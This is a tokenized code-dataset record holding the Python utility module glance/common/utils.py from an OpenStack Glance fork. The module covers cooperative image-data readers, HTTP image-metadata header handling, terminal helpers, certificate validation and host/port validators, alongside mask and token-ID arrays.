[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
ozamiatin/glance
glance/common/utils.py
1
26028
# Copyright 2010 United States Government as represented by the # Administrator of the National Aeronautics and Space Administration. # Copyright 2014 SoftLayer Technologies, Inc. # Copyright 2015 Mirantis, Inc # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """ System-level utilities and helper functions. """ import errno try: from eventlet import sleep except ImportError: from time import sleep from eventlet.green import socket import functools import os import platform import re import subprocess import sys import uuid from OpenSSL import crypto from oslo_config import cfg from oslo_log import log as logging from oslo_utils import excutils from oslo_utils import netutils from oslo_utils import strutils import six from webob import exc from glance.common import exception from glance import i18n CONF = cfg.CONF LOG = logging.getLogger(__name__) _ = i18n._ _LE = i18n._LE FEATURE_BLACKLIST = ['content-length', 'content-type', 'x-image-meta-size'] # Whitelist of v1 API headers of form x-image-meta-xxx IMAGE_META_HEADERS = ['x-image-meta-location', 'x-image-meta-size', 'x-image-meta-is_public', 'x-image-meta-disk_format', 'x-image-meta-container_format', 'x-image-meta-name', 'x-image-meta-status', 'x-image-meta-copy_from', 'x-image-meta-uri', 'x-image-meta-checksum', 'x-image-meta-created_at', 'x-image-meta-updated_at', 'x-image-meta-deleted_at', 'x-image-meta-min_ram', 'x-image-meta-min_disk', 'x-image-meta-owner', 'x-image-meta-store', 'x-image-meta-id', 'x-image-meta-protected', 'x-image-meta-deleted', 'x-image-meta-virtual_size'] GLANCE_TEST_SOCKET_FD_STR = 'GLANCE_TEST_SOCKET_FD' def chunkreadable(iter, chunk_size=65536): """ Wrap a readable iterator with a reader yielding chunks of a preferred size, otherwise leave iterator unchanged. :param iter: an iter which may also be readable :param chunk_size: maximum size of chunk """ return chunkiter(iter, chunk_size) if hasattr(iter, 'read') else iter def chunkiter(fp, chunk_size=65536): """ Return an iterator to a file-like obj which yields fixed size chunks :param fp: a file-like object :param chunk_size: maximum size of chunk """ while True: chunk = fp.read(chunk_size) if chunk: yield chunk else: break def cooperative_iter(iter): """ Return an iterator which schedules after each iteration. This can prevent eventlet thread starvation. :param iter: an iterator to wrap """ try: for chunk in iter: sleep(0) yield chunk except Exception as err: with excutils.save_and_reraise_exception(): msg = _LE("Error: cooperative_iter exception %s") % err LOG.error(msg) def cooperative_read(fd): """ Wrap a file descriptor's read with a partial function which schedules after each read. This can prevent eventlet thread starvation. :param fd: a file descriptor to wrap """ def readfn(*args): result = fd.read(*args) sleep(0) return result return readfn MAX_COOP_READER_BUFFER_SIZE = 134217728 # 128M seems like a sane buffer limit class CooperativeReader(object): """ An eventlet thread friendly class for reading in image data. When accessing data either through the iterator or the read method we perform a sleep to allow a co-operative yield. When there is more than one image being uploaded/downloaded this prevents eventlet thread starvation, ie allows all threads to be scheduled periodically rather than having the same thread be continuously active. """ def __init__(self, fd): """ :param fd: Underlying image file object """ self.fd = fd self.iterator = None # NOTE(markwash): if the underlying supports read(), overwrite the # default iterator-based implementation with cooperative_read which # is more straightforward if hasattr(fd, 'read'): self.read = cooperative_read(fd) else: self.iterator = None self.buffer = '' self.position = 0 def read(self, length=None): """Return the requested amount of bytes, fetching the next chunk of the underlying iterator when needed. This is replaced with cooperative_read in __init__ if the underlying fd already supports read(). """ if length is None: if len(self.buffer) - self.position > 0: # if no length specified but some data exists in buffer, # return that data and clear the buffer result = self.buffer[self.position:] self.buffer = '' self.position = 0 return str(result) else: # otherwise read the next chunk from the underlying iterator # and return it as a whole. Reset the buffer, as subsequent # calls may specify the length try: if self.iterator is None: self.iterator = self.__iter__() return self.iterator.next() except StopIteration: return '' finally: self.buffer = '' self.position = 0 else: result = bytearray() while len(result) < length: if self.position < len(self.buffer): to_read = length - len(result) chunk = self.buffer[self.position:self.position + to_read] result.extend(chunk) # This check is here to prevent potential OOM issues if # this code is called with unreasonably high values of read # size. Currently it is only called from the HTTP clients # of Glance backend stores, which use httplib for data # streaming, which has readsize hardcoded to 8K, so this # check should never fire. Regardless it still worths to # make the check, as the code may be reused somewhere else. if len(result) >= MAX_COOP_READER_BUFFER_SIZE: raise exception.LimitExceeded() self.position += len(chunk) else: try: if self.iterator is None: self.iterator = self.__iter__() self.buffer = self.iterator.next() self.position = 0 except StopIteration: self.buffer = '' self.position = 0 return str(result) return str(result) def __iter__(self): return cooperative_iter(self.fd.__iter__()) class LimitingReader(object): """ Reader designed to fail when reading image data past the configured allowable amount. """ def __init__(self, data, limit): """ :param data: Underlying image data object :param limit: maximum number of bytes the reader should allow """ self.data = data self.limit = limit self.bytes_read = 0 def __iter__(self): for chunk in self.data: self.bytes_read += len(chunk) if self.bytes_read > self.limit: raise exception.ImageSizeLimitExceeded() else: yield chunk def read(self, i): result = self.data.read(i) self.bytes_read += len(result) if self.bytes_read > self.limit: raise exception.ImageSizeLimitExceeded() return result def image_meta_to_http_headers(image_meta): """ Returns a set of image metadata into a dict of HTTP headers that can be fed to either a Webob Request object or an httplib.HTTP(S)Connection object :param image_meta: Mapping of image metadata """ headers = {} for k, v in image_meta.items(): if v is not None: if k == 'properties': for pk, pv in v.items(): if pv is not None: headers["x-image-meta-property-%s" % pk.lower()] = six.text_type(pv) else: headers["x-image-meta-%s" % k.lower()] = six.text_type(v) return headers def get_image_meta_from_headers(response): """ Processes HTTP headers from a supplied response that match the x-image-meta and x-image-meta-property and returns a mapping of image metadata and properties :param response: Response to process """ result = {} properties = {} if hasattr(response, 'getheaders'): # httplib.HTTPResponse headers = response.getheaders() else: # webob.Response headers = response.headers.items() for key, value in headers: key = str(key.lower()) if key.startswith('x-image-meta-property-'): field_name = key[len('x-image-meta-property-'):].replace('-', '_') properties[field_name] = value or None elif key.startswith('x-image-meta-'): field_name = key[len('x-image-meta-'):].replace('-', '_') if 'x-image-meta-' + field_name not in IMAGE_META_HEADERS: msg = _("Bad header: %(header_name)s") % {'header_name': key} raise exc.HTTPBadRequest(msg, content_type="text/plain") result[field_name] = value or None result['properties'] = properties for key, nullable in [('size', False), ('min_disk', False), ('min_ram', False), ('virtual_size', True)]: if key in result: try: result[key] = int(result[key]) except ValueError: if nullable and result[key] == str(None): result[key] = None else: extra = (_("Cannot convert image %(key)s '%(value)s' " "to an integer.") % {'key': key, 'value': result[key]}) raise exception.InvalidParameterValue(value=result[key], param=key, extra_msg=extra) if result[key] < 0 and result[key] is not None: extra = _('Cannot be a negative value.') raise exception.InvalidParameterValue(value=result[key], param=key, extra_msg=extra) for key in ('is_public', 'deleted', 'protected'): if key in result: result[key] = strutils.bool_from_string(result[key]) return result def create_mashup_dict(image_meta): """ Returns a dictionary-like mashup of the image core properties and the image custom properties from given image metadata. :param image_meta: metadata of image with core and custom properties """ def get_items(): for key, value in six.iteritems(image_meta): if isinstance(value, dict): for subkey, subvalue in six.iteritems( create_mashup_dict(value)): if subkey not in image_meta: yield subkey, subvalue else: yield key, value return dict(get_items()) def safe_mkdirs(path): try: os.makedirs(path) except OSError as e: if e.errno != errno.EEXIST: raise def safe_remove(path): try: os.remove(path) except OSError as e: if e.errno != errno.ENOENT: raise class PrettyTable(object): """Creates an ASCII art table for use in bin/glance Example: ID Name Size Hits --- ----------------- ------------ ----- 122 image 22 0 """ def __init__(self): self.columns = [] def add_column(self, width, label="", just='l'): """Add a column to the table :param width: number of characters wide the column should be :param label: column heading :param just: justification for the column, 'l' for left, 'r' for right """ self.columns.append((width, label, just)) def make_header(self): label_parts = [] break_parts = [] for width, label, _ in self.columns: # NOTE(sirp): headers are always left justified label_part = self._clip_and_justify(label, width, 'l') label_parts.append(label_part) break_part = '-' * width break_parts.append(break_part) label_line = ' '.join(label_parts) break_line = ' '.join(break_parts) return '\n'.join([label_line, break_line]) def make_row(self, *args): row = args row_parts = [] for data, (width, _, just) in zip(row, self.columns): row_part = self._clip_and_justify(data, width, just) row_parts.append(row_part) row_line = ' '.join(row_parts) return row_line @staticmethod def _clip_and_justify(data, width, just): # clip field to column width clipped_data = str(data)[:width] if just == 'r': # right justify justified = clipped_data.rjust(width) else: # left justify justified = clipped_data.ljust(width) return justified def get_terminal_size(): def _get_terminal_size_posix(): import fcntl import struct import termios height_width = None try: height_width = struct.unpack('hh', fcntl.ioctl(sys.stderr.fileno(), termios.TIOCGWINSZ, struct.pack('HH', 0, 0))) except Exception: pass if not height_width: try: p = subprocess.Popen(['stty', 'size'], shell=False, stdout=subprocess.PIPE, stderr=open(os.devnull, 'w')) result = p.communicate() if p.returncode == 0: return tuple(int(x) for x in result[0].split()) except Exception: pass return height_width def _get_terminal_size_win32(): try: from ctypes import create_string_buffer from ctypes import windll handle = windll.kernel32.GetStdHandle(-12) csbi = create_string_buffer(22) res = windll.kernel32.GetConsoleScreenBufferInfo(handle, csbi) except Exception: return None if res: import struct unpack_tmp = struct.unpack("hhhhHhhhhhh", csbi.raw) (bufx, bufy, curx, cury, wattr, left, top, right, bottom, maxx, maxy) = unpack_tmp height = bottom - top + 1 width = right - left + 1 return (height, width) else: return None def _get_terminal_size_unknownOS(): raise NotImplementedError func = {'posix': _get_terminal_size_posix, 'win32': _get_terminal_size_win32} height_width = func.get(platform.os.name, _get_terminal_size_unknownOS)() if height_width is None: raise exception.Invalid() for i in height_width: if not isinstance(i, int) or i <= 0: raise exception.Invalid() return height_width[0], height_width[1] def mutating(func): """Decorator to enforce read-only logic""" @functools.wraps(func) def wrapped(self, req, *args, **kwargs): if req.context.read_only: msg = "Read-only access" LOG.debug(msg) raise exc.HTTPForbidden(msg, request=req, content_type="text/plain") return func(self, req, *args, **kwargs) return wrapped def setup_remote_pydev_debug(host, port): error_msg = _LE('Error setting up the debug environment. Verify that the' ' option pydev_worker_debug_host is pointing to a valid ' 'hostname or IP on which a pydev server is listening on' ' the port indicated by pydev_worker_debug_port.') try: try: from pydev import pydevd except ImportError: import pydevd pydevd.settrace(host, port=port, stdoutToServer=True, stderrToServer=True) return True except Exception: with excutils.save_and_reraise_exception(): LOG.exception(error_msg) def validate_key_cert(key_file, cert_file): try: error_key_name = "private key" error_filename = key_file with open(key_file, 'r') as keyfile: key_str = keyfile.read() key = crypto.load_privatekey(crypto.FILETYPE_PEM, key_str) error_key_name = "certificate" error_filename = cert_file with open(cert_file, 'r') as certfile: cert_str = certfile.read() cert = crypto.load_certificate(crypto.FILETYPE_PEM, cert_str) except IOError as ioe: raise RuntimeError(_("There is a problem with your %(error_key_name)s " "%(error_filename)s. Please verify it." " Error: %(ioe)s") % {'error_key_name': error_key_name, 'error_filename': error_filename, 'ioe': ioe}) except crypto.Error as ce: raise RuntimeError(_("There is a problem with your %(error_key_name)s " "%(error_filename)s. Please verify it. OpenSSL" " error: %(ce)s") % {'error_key_name': error_key_name, 'error_filename': error_filename, 'ce': ce}) try: data = str(uuid.uuid4()) digest = CONF.digest_algorithm if digest == 'sha1': LOG.warn('The FIPS (FEDERAL INFORMATION PROCESSING STANDARDS)' ' state that the SHA-1 is not suitable for' ' general-purpose digital signature applications (as' ' specified in FIPS 186-3) that require 112 bits of' ' security. The default value is sha1 in Kilo for a' ' smooth upgrade process, and it will be updated' ' with sha256 in next release(L).') out = crypto.sign(key, data, digest) crypto.verify(cert, out, data, digest) except crypto.Error as ce: raise RuntimeError(_("There is a problem with your key pair. " "Please verify that cert %(cert_file)s and " "key %(key_file)s belong together. OpenSSL " "error %(ce)s") % {'cert_file': cert_file, 'key_file': key_file, 'ce': ce}) def get_test_suite_socket(): global GLANCE_TEST_SOCKET_FD_STR if GLANCE_TEST_SOCKET_FD_STR in os.environ: fd = int(os.environ[GLANCE_TEST_SOCKET_FD_STR]) sock = socket.fromfd(fd, socket.AF_INET, socket.SOCK_STREAM) if six.PY2: sock = socket.SocketType(_sock=sock) sock.listen(CONF.backlog) del os.environ[GLANCE_TEST_SOCKET_FD_STR] os.close(fd) return sock return None def is_uuid_like(val): """Returns validation of a value as a UUID. For our purposes, a UUID is a canonical form string: aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa """ try: return str(uuid.UUID(val)) == val except (TypeError, ValueError, AttributeError): return False def is_valid_hostname(hostname): """Verify whether a hostname (not an FQDN) is valid.""" return re.match('^[a-zA-Z0-9-]+$', hostname) is not None def is_valid_fqdn(fqdn): """Verify whether a host is a valid FQDN.""" return re.match('^[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$', fqdn) is not None def parse_valid_host_port(host_port): """ Given a "host:port" string, attempts to parse it as intelligently as possible to determine if it is valid. This includes IPv6 [host]:port form, IPv4 ip:port form, and hostname:port or fqdn:port form. Invalid inputs will raise a ValueError, while valid inputs will return a (host, port) tuple where the port will always be of type int. """ try: try: host, port = netutils.parse_host_port(host_port) except Exception: raise ValueError(_('Host and port "%s" is not valid.') % host_port) if not netutils.is_valid_port(port): raise ValueError(_('Port "%s" is not valid.') % port) # First check for valid IPv6 and IPv4 addresses, then a generic # hostname. Failing those, if the host includes a period, then this # should pass a very generic FQDN check. The FQDN check for letters at # the tail end will weed out any hilariously absurd IPv4 addresses. if not (netutils.is_valid_ipv6(host) or netutils.is_valid_ipv4(host) or is_valid_hostname(host) or is_valid_fqdn(host)): raise ValueError(_('Host "%s" is not valid.') % host) except Exception as ex: raise ValueError(_('%s ' 'Please specify a host:port pair, where host is an ' 'IPv4 address, IPv6 address, hostname, or FQDN. If ' 'using an IPv6 address, enclose it in brackets ' 'separately from the port (i.e., ' '"[fe80::a:b:c]:9876").') % ex) return (host, int(port)) try: REGEX_4BYTE_UNICODE = re.compile(u'[\U00010000-\U0010ffff]') except re.error: # UCS-2 build case REGEX_4BYTE_UNICODE = re.compile(u'[\uD800-\uDBFF][\uDC00-\uDFFF]') def no_4byte_params(f): """ Checks that no 4 byte unicode characters are allowed in dicts' keys/values and string's parameters """ def wrapper(*args, **kwargs): def _is_match(some_str): return (isinstance(some_str, six.text_type) and REGEX_4BYTE_UNICODE.findall(some_str) != []) def _check_dict(data_dict): # a dict of dicts has to be checked recursively for key, value in six.iteritems(data_dict): if isinstance(value, dict): _check_dict(value) else: if _is_match(key): msg = _("Property names can't contain 4 byte unicode.") raise exception.Invalid(msg) if _is_match(value): msg = (_("%s can't contain 4 byte unicode characters.") % key.title()) raise exception.Invalid(msg) for data_dict in [arg for arg in args if isinstance(arg, dict)]: _check_dict(data_dict) # now check args for str values for arg in args: if _is_match(arg): msg = _("Param values can't contain 4 byte unicode.") raise exception.Invalid(msg) # check kwargs as well, as params are passed as kwargs via # registry calls _check_dict(kwargs) return f(*args, **kwargs) return wrapper def validate_mysql_int(*args, **kwargs): """ Make sure that all arguments are less than 2 ** 31 - 1. This limitation is introduced because mysql stores INT in 4 bytes. If the validation fails for some argument, exception.Invalid is raised with appropriate information. """ max_int = (2 ** 31) - 1 for param in args: if param > max_int: msg = _("Value %(value)d out of range, " "must not exceed %(max)d") % {"value": param, "max": max_int} raise exception.Invalid(msg) for param_str in kwargs: param = kwargs.get(param_str) if param and param > max_int: msg = _("'%(param)s' value out of range, " "must not exceed %(max)d") % {"param": param_str, "max": max_int} raise exception.Invalid(msg) def stash_conf_values(): """ Make a copy of some of the current global CONF's settings. Allows determining if any of these values have changed when the config is reloaded. """ conf = {} conf['bind_host'] = CONF.bind_host conf['bind_port'] = CONF.bind_port conf['tcp_keepidle'] = CONF.cert_file conf['backlog'] = CONF.backlog conf['key_file'] = CONF.key_file conf['cert_file'] = CONF.cert_file return conf
apache-2.0
[ 3, 1898, 7129, 1910, 5703, 24230, 598, 27639, 465, 11159, 701, 314, 199, 3, 30660, 402, 314, 20548, 437, 281, 265, 3844, 7769, 436, 19326, 9516, 4633, 14, 199, 3, 1898, 6927, 27238, 5003, 19215, 12, 3277, 14, 199, 3, 1898, 6900, 603, 723, 4466, 83, 12, 3277, 199, 3, 2900, 5924, 5702, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 624, 199, 3989, 13, 1896, 15841, 436, 5922, 3423, 14, 199, 624, 199, 199, 646, 7554, 199, 199, 893, 26, 272, 687, 21819, 492, 9435, 199, 2590, 3545, 26, 272, 687, 900, 492, 9435, 199, 504, 21819, 14, 7731, 492, 2838, 199, 199, 646, 9143, 199, 646, 747, 199, 646, 4298, 199, 646, 295, 199, 646, 3873, 199, 646, 984, 199, 646, 5377, 199, 199, 504, 14296, 492, 13230, 199, 504, 11258, 63, 888, 492, 4810, 199, 504, 11258, 63, 793, 492, 943, 465, 2050, 199, 504, 11258, 63, 1208, 492, 32763, 199, 504, 11258, 63, 1208, 492, 1851, 1208, 199, 504, 11258, 63, 1208, 492, 620, 1208, 199, 646, 3816, 199, 504, 14568, 492, 3178, 199, 199, 504, 21785, 14, 2330, 492, 1919, 199, 504, 21785, 492, 284, 1085, 78, 199, 199, 3103, 275, 4810, 14, 3103, 199, 199, 4947, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 63, 275, 284, 1085, 78, 423, 199, 63, 906, 275, 284, 1085, 78, 423, 906, 199, 199, 22884, 63, 23113, 4924, 275, 788, 1317, 13, 1267, 297, 283, 1317, 13, 466, 297, 283, 88, 13, 1569, 13, 2024, 13, 890, 418, 199, 199, 3, 2816, 1175, 513, 402, 373, 17, 3261, 2323, 402, 1824, 671, 13, 1569, 13, 2024, 13, 10013, 199, 9438, 63, 10614, 63, 21178, 275, 788, 88, 13, 1569, 13, 2024, 13, 1985, 297, 283, 88, 13, 1569, 13, 2024, 13, 890, 297, 1993, 283, 88, 13, 1569, 13, 2024, 13, 374, 63, 3455, 297, 283, 88, 13, 1569, 13, 2024, 13, 4032, 63, 908, 297, 1993, 283, 88, 13, 1569, 13, 2024, 13, 3600, 63, 908, 297, 283, 88, 13, 1569, 13, 2024, 13, 354, 297, 1993, 283, 88, 13, 1569, 13, 2024, 13, 1205, 297, 283, 88, 13, 1569, 13, 2024, 13, 1574, 63, 504, 297, 1993, 283, 88, 13, 1569, 13, 2024, 13, 2302, 297, 283, 88, 13, 1569, 13, 2024, 13, 8928, 297, 1993, 283, 88, 13, 1569, 13, 2024, 13, 3966, 63, 292, 297, 283, 88, 13, 1569, 13, 2024, 13, 5334, 63, 292, 297, 1993, 283, 88, 13, 1569, 13, 2024, 13, 6062, 63, 292, 297, 283, 88, 13, 1569, 13, 2024, 13, 827, 63, 5975, 297, 1993, 283, 88, 13, 1569, 13, 2024, 13, 827, 63, 4032, 297, 283, 88, 13, 1569, 13, 2024, 13, 4597, 297, 1993, 283, 88, 13, 1569, 13, 2024, 13, 1617, 297, 283, 88, 13, 1569, 13, 2024, 13, 344, 297, 1993, 283, 88, 13, 1569, 13, 2024, 13, 6798, 297, 283, 88, 13, 1569, 13, 2024, 13, 6062, 297, 1993, 283, 88, 13, 1569, 13, 2024, 13, 2065, 63, 890, 418, 199, 199, 2226, 7140, 63, 2864, 63, 17462, 63, 7902, 63, 3027, 275, 283, 2226, 7140, 63, 2864, 63, 17462, 63, 7902, 7, 421, 199, 318, 3728, 11875, 8, 1661, 12, 3728, 63, 890, 29, 10027, 1344, 304, 272, 408, 272, 20322, 282, 12701, 6122, 543, 282, 7002, 32035, 8291, 402, 272, 282, 14388, 1568, 12, 4257, 10137, 6122, 14874, 14, 339, 520, 635, 2740, 26, 376, 2740, 1314, 1443, 2597, 506, 12701, 272, 520, 635, 3728, 63, 890, 26, 5696, 1568, 402, 3728, 272, 408, 272, 372, 3728, 1661, 8, 1661, 12, 3728, 63, 890, 9, 340, 2688, 8, 1661, 12, 283, 739, 358, 587, 2740, 421, 199, 318, 3728, 1661, 8, 3997, 12, 3728, 63, 890, 29, 10027, 1344, 304, 272, 408, 272, 1432, 376, 6122, 370, 282, 570, 13, 2930, 1559, 1314, 14801, 6317, 1568, 8291, 339, 520, 635, 4090, 26, 282, 570, 13, 2930, 909, 272, 520, 635, 3728, 63, 890, 26, 5696, 1568, 402, 3728, 272, 408, 272, 1830, 715, 26, 267, 3728, 275, 4090, 14, 739, 8, 4604, 63, 890, 9, 267, 340, 3728, 26, 288, 1995, 3728, 267, 587, 26, 288, 2059, 421, 199, 318, 512, 2262, 1905, 63, 1661, 8, 1661, 304, 272, 408, 272, 1432, 376, 6122, 1314, 8732, 83, 2410, 1924, 272, 8494, 14, 961, 883, 7981, 21819, 2462, 14664, 4255, 14, 339, 520, 635, 2740, 26, 376, 6122, 370, 4816, 272, 408, 272, 862, 26, 267, 367, 3728, 315, 2740, 26, 288, 9435, 8, 16, 9, 288, 1995, 3728, 272, 871, 2186, 465, 2329, 26, 267, 543, 32763, 14, 2117, 63, 460, 63, 20614, 63, 1971, 837, 288, 1499, 275, 485, 906, 480, 547, 26, 512, 2262, 1905, 63, 1661, 1919, 450, 83, 531, 450, 2329, 288, 5051, 14, 705, 8, 1328, 9, 421, 199, 318, 512, 2262, 1905, 63, 739, 8, 2592, 304, 272, 408, 272, 20322, 282, 570, 5872, 1159, 1586, 543, 282, 7417, 805, 1314, 8732, 83, 272, 2410, 1924, 1586, 14, 961, 883, 7981, 21819, 2462, 14664, 4255, 14, 339, 520, 635, 6111, 26, 282, 570, 5872, 370, 4816, 272, 408, 272, 347, 1586, 2324, 2031, 589, 304, 267, 754, 275, 6111, 14, 739, 2031, 589, 9, 267, 9435, 8, 16, 9, 267, 372, 754, 272, 372, 1586, 2324, 421, 199, 4283, 63, 1439, 1938, 63, 5670, 540, 63, 10960, 63, 4305, 275, 25956, 2025, 1138, 1651, 221 ]
[ 1898, 7129, 1910, 5703, 24230, 598, 27639, 465, 11159, 701, 314, 199, 3, 30660, 402, 314, 20548, 437, 281, 265, 3844, 7769, 436, 19326, 9516, 4633, 14, 199, 3, 1898, 6927, 27238, 5003, 19215, 12, 3277, 14, 199, 3, 1898, 6900, 603, 723, 4466, 83, 12, 3277, 199, 3, 2900, 5924, 5702, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 624, 199, 3989, 13, 1896, 15841, 436, 5922, 3423, 14, 199, 624, 199, 199, 646, 7554, 199, 199, 893, 26, 272, 687, 21819, 492, 9435, 199, 2590, 3545, 26, 272, 687, 900, 492, 9435, 199, 504, 21819, 14, 7731, 492, 2838, 199, 199, 646, 9143, 199, 646, 747, 199, 646, 4298, 199, 646, 295, 199, 646, 3873, 199, 646, 984, 199, 646, 5377, 199, 199, 504, 14296, 492, 13230, 199, 504, 11258, 63, 888, 492, 4810, 199, 504, 11258, 63, 793, 492, 943, 465, 2050, 199, 504, 11258, 63, 1208, 492, 32763, 199, 504, 11258, 63, 1208, 492, 1851, 1208, 199, 504, 11258, 63, 1208, 492, 620, 1208, 199, 646, 3816, 199, 504, 14568, 492, 3178, 199, 199, 504, 21785, 14, 2330, 492, 1919, 199, 504, 21785, 492, 284, 1085, 78, 199, 199, 3103, 275, 4810, 14, 3103, 199, 199, 4947, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 63, 275, 284, 1085, 78, 423, 199, 63, 906, 275, 284, 1085, 78, 423, 906, 199, 199, 22884, 63, 23113, 4924, 275, 788, 1317, 13, 1267, 297, 283, 1317, 13, 466, 297, 283, 88, 13, 1569, 13, 2024, 13, 890, 418, 199, 199, 3, 2816, 1175, 513, 402, 373, 17, 3261, 2323, 402, 1824, 671, 13, 1569, 13, 2024, 13, 10013, 199, 9438, 63, 10614, 63, 21178, 275, 788, 88, 13, 1569, 13, 2024, 13, 1985, 297, 283, 88, 13, 1569, 13, 2024, 13, 890, 297, 1993, 283, 88, 13, 1569, 13, 2024, 13, 374, 63, 3455, 297, 283, 88, 13, 1569, 13, 2024, 13, 4032, 63, 908, 297, 1993, 283, 88, 13, 1569, 13, 2024, 13, 3600, 63, 908, 297, 283, 88, 13, 1569, 13, 2024, 13, 354, 297, 1993, 283, 88, 13, 1569, 13, 2024, 13, 1205, 297, 283, 88, 13, 1569, 13, 2024, 13, 1574, 63, 504, 297, 1993, 283, 88, 13, 1569, 13, 2024, 13, 2302, 297, 283, 88, 13, 1569, 13, 2024, 13, 8928, 297, 1993, 283, 88, 13, 1569, 13, 2024, 13, 3966, 63, 292, 297, 283, 88, 13, 1569, 13, 2024, 13, 5334, 63, 292, 297, 1993, 283, 88, 13, 1569, 13, 2024, 13, 6062, 63, 292, 297, 283, 88, 13, 1569, 13, 2024, 13, 827, 63, 5975, 297, 1993, 283, 88, 13, 1569, 13, 2024, 13, 827, 63, 4032, 297, 283, 88, 13, 1569, 13, 2024, 13, 4597, 297, 1993, 283, 88, 13, 1569, 13, 2024, 13, 1617, 297, 283, 88, 13, 1569, 13, 2024, 13, 344, 297, 1993, 283, 88, 13, 1569, 13, 2024, 13, 6798, 297, 283, 88, 13, 1569, 13, 2024, 13, 6062, 297, 1993, 283, 88, 13, 1569, 13, 2024, 13, 2065, 63, 890, 418, 199, 199, 2226, 7140, 63, 2864, 63, 17462, 63, 7902, 63, 3027, 275, 283, 2226, 7140, 63, 2864, 63, 17462, 63, 7902, 7, 421, 199, 318, 3728, 11875, 8, 1661, 12, 3728, 63, 890, 29, 10027, 1344, 304, 272, 408, 272, 20322, 282, 12701, 6122, 543, 282, 7002, 32035, 8291, 402, 272, 282, 14388, 1568, 12, 4257, 10137, 6122, 14874, 14, 339, 520, 635, 2740, 26, 376, 2740, 1314, 1443, 2597, 506, 12701, 272, 520, 635, 3728, 63, 890, 26, 5696, 1568, 402, 3728, 272, 408, 272, 372, 3728, 1661, 8, 1661, 12, 3728, 63, 890, 9, 340, 2688, 8, 1661, 12, 283, 739, 358, 587, 2740, 421, 199, 318, 3728, 1661, 8, 3997, 12, 3728, 63, 890, 29, 10027, 1344, 304, 272, 408, 272, 1432, 376, 6122, 370, 282, 570, 13, 2930, 1559, 1314, 14801, 6317, 1568, 8291, 339, 520, 635, 4090, 26, 282, 570, 13, 2930, 909, 272, 520, 635, 3728, 63, 890, 26, 5696, 1568, 402, 3728, 272, 408, 272, 1830, 715, 26, 